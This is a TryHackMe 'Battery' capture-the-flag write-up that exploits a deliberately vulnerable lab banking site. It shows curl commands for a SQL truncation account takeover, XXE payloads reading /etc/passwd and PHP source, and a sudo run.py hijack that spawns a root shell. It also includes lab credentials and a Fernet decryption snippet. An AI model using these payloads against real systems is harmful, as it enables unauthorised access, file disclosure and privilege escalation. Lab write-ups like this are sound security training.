6 min read

TryHackMe Battery Writeup: SQL Truncation, XXE, and Python Privesc

TryHackMe Battery Writeup: SQL Truncation, XXE, and Python Privesc

Room Information

  • Platform: TryHackMe
  • Room Name: Battery
  • Difficulty: Medium
  • Goal: Capture the Base Flag, User Flag, and Root Flag
  • Theme: Penetration testing a banking management system
  • Link: https://tryhackme.com/room/battery
  • Note: For this box, I've added a lot of extra context in the lessons-learned section, so be sure to read them alongside the walkthrough!

Reconnaissance

Nmap Scan

nmap -sV -sC -p 22,80 10.201.51.19 -Pn

Scan results:

  • Port 22: OpenSSH 6.6.1p1 Ubuntu
  • Port 80: Apache httpd 2.4.7

Directory Enumeration

gobuster dir -u http://10.201.51.19/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20

Paths discovered:

  • /admin.php - Login page
  • /register.php - Registration page
  • /report - An executable file (16912 bytes)
  • /scripts/ - JavaScript scripts directory
  • /forms.php - A page that requires admin privileges

Step 1: Analyzing the Report Binary

Download and decompile

# Download the binary
wget http://10.201.51.19/report

# Decompile with Ghidra or use strings
strings report | grep -iE "admin|user|@"

Key findings:

[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
guest  # The only usable login account

What the binary does:

  • Login: guest/guest
  • Option 4 lets you update a password (but it only accepts the email [email protected])

Step 2: SQL Truncation Attack

Finding the vulnerability
Inspect the registration form:

curl http://10.201.51.19/register.php

Key finding:

<input type="text" name="uname" placeholder="Username" maxlength="12">
  • The frontend limits the username to 12 characters
  • [email protected] is exactly 12 characters
  • But the backend column might allow a longer length

Bypassing the frontend limit

# When registering, use: [email protected] + spaces + any character
curl -X POST http://10.201.51.19/register.php \
  -d "[email protected]   x&bank=ABC&password=test123&btn=Register me!" \
  -L

How the attack works:

  1. MySQL truncates characters that exceed the column length
  2. Trailing spaces are stripped automatically
  3. Result: we successfully overwrite the password of the original [email protected] account!

Success message:

<script>alert('Registered successfully!')</script>

Logging in as Admin

# Log in with the new password
curl -c admin_cookies.txt -X POST http://10.201.51.19/admin.php \
  -d "[email protected]&password=test123&btn=Submit" \
  -L

Step 3: Exploiting XXE

Finding the XXE endpoint
Visiting forms.php, we spot this JavaScript code:

function XMLFunction(){
    var xml = '' +
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<root>' +
        '<name>' + $('#name').val() + '</name>' +
        '<search>' + $('#search').val() + '</search>' +
        '</root>';
    xmlhttp.open("POST","forms.php",true);
    xmlhttp.send(xml);
};

Testing an XXE payload

# Read /etc/passwd
curl -b admin_cookies.txt -X POST http://10.201.51.19/forms.php \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
<name>1</name>
<search>&xxe;</search>
</root>'

Successful output:

Sorry, account number root:x:0:0:root:/root:/bin/bash
[...]
cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash
yash:x:1002:1002:,,,:/home/yash:/bin/bash
is not active!

Reading source code with a PHP wrapper

# Read the acc.php source (base64 encoded)
curl -b admin_cookies.txt -X POST http://10.201.51.19/forms.php \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/acc.php">]>
<root>
<name>1</name>
<search>&xxe;</search>
</root>'

Inside the returned HTML we find a comment:

//MY CREDS :- cyber:super#secure&password!

Step 4: SSH Login and the User Flag

SSH connection

ssh [email protected]
# Password: super#secure&password!

Grabbing Flag1

cyber@ubuntu:~$ ls
flag1.txt  run.py

cyber@ubuntu:~$ cat flag1.txt
THM{Redacted}

Step 5: Privilege Escalation to Root

Check sudo privileges

cyber@ubuntu:~$ sudo -l
User cyber may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py

Check file permissions

cyber@ubuntu:~$ ls -la run.py
-rwx------ 1 root root 349 Nov 15  2020 run.py

cyber@ubuntu:~$ ls -ld /home/cyber
drwx------ 3 cyber cyber 4096 Nov 17  2020 /home/cyber

Key findings:

  • run.py is owned by root and can't be edited
  • But we have full permissions over the /home/cyber directory!

Hijacking run.py

# 1. Delete root's run.py
rm run.py

# 2. Create a malicious run.py
cat > run.py << 'EOF'
import os
os.system('/bin/bash')
EOF

# 3. Run it with sudo to get a root shell
sudo /usr/bin/python3 /home/cyber/run.py

Collecting all the flags

root@ubuntu:~# cat /root/root.txt
THM{Redacted}

root@ubuntu:~# cat /home/yash/flag2.txt
THM{Redacted}

Key Takeaways

1. SQL Truncation Attack

  • Principle: Abuse the database column length limit and character-truncation behavior
  • Conditions:
    • The frontend has a maxlength limit (which can be bypassed)
    • The backend column has a length limit
    • MySQL automatically strips trailing spaces
  • Exploitation: Register as [email protected]___x (underscores represent spaces)

2. XXE (XML External Entity) Vulnerability

  • Telltale sign: The application accepts and parses XML input

Advanced trick: Use a PHP wrapper to read source code

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/path/to/file">

Basic payload:

<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

Lessons Learned

  1. Never trust frontend restrictions: maxlength can be bypassed with curl or Burp Suite
  2. Database quirks matter: Understand MySQL's character-truncation behavior

On Step 1: Analyzing the Report Binary

This step ate up a lot of time, because I dug into what the binary actually does and even tried decompiling it in Ghidra to see if there was a hard-coded admin password or any way to crash the program. Neither panned out, so I quickly pivoted back to the web side to look for vulnerabilities there.

On Step 2: SQL Truncation Attack

Honestly, I'd never heard of this technique before and it never crossed my mind. For the admin login, I tried sqlmap to brute-force for SQL injection and hydra to brute-force the admin password directly, but both failed. I have a vague memory of doing a similar exercise where you could overwrite the preceding data when registering an account, but back then I never dug deep enough to learn that the attack was called SQL truncation. I got stuck on this step, so I ended up consulting a writeup~

TryHackMe - Battery
Battery es una maquina de TryHackMe, encontramos correos dentro de un fichero y mediante SQL Truncation Attack obtuvimos acceso a un panel de administracion en donde explotamos una vulnerabilidad XXE por la cual obtuvimos credenciales de acceso. La mala configuracion de permisos en un script de python nos permitio escalar privilegios.

On Step 3: Exploiting XXE

I knew this was an XXE attack, and you can actually figure it out without an admin account: using Burp Suite and logging in with your own test/test credentials, you can already capture the response from forms.php. Unfortunately, you still need to be logged in as admin to actually trigger the XXE attack, otherwise you're blocked at the door. The difference between the two responses is shown below.

<script>alert('Only Admins can access this page!')</script>
vs.
Sorry, account number [contents of /etc/passwd] is not active!

On Step 5: Privilege Escalation to Root

Looking back, because I grabbed the root flag before the user flag, if you go into yash's home directory you'll find two files: root.txt and fernet. The former hints at the privilege-escalation method we used, while the latter reveals yash's password. Here's the relevant decoding method:

from cryptography.fernet import Fernet

key = b"7OEIooZqOpT7vOh9ax8arbBeB8e243Pr8K4IVWBStgA="
encrypted = b"gAAAAABfs33Qms9CotZIEBMg76eOlwOiKU8LD_mX2F346WXXBVIlXWvWGfreAX4kU5hjGXf0PiwtP0cmOm5JSUI7zl03V1JKlA=="

cipher = Fernet(key)
password = cipher.decrypt(encrypted)
print(password.decode())  # yash's password

That said, this is just a bonus, since we already had the root flag and didn't bother tracing back how you'd hop from cyber to yash and then to root.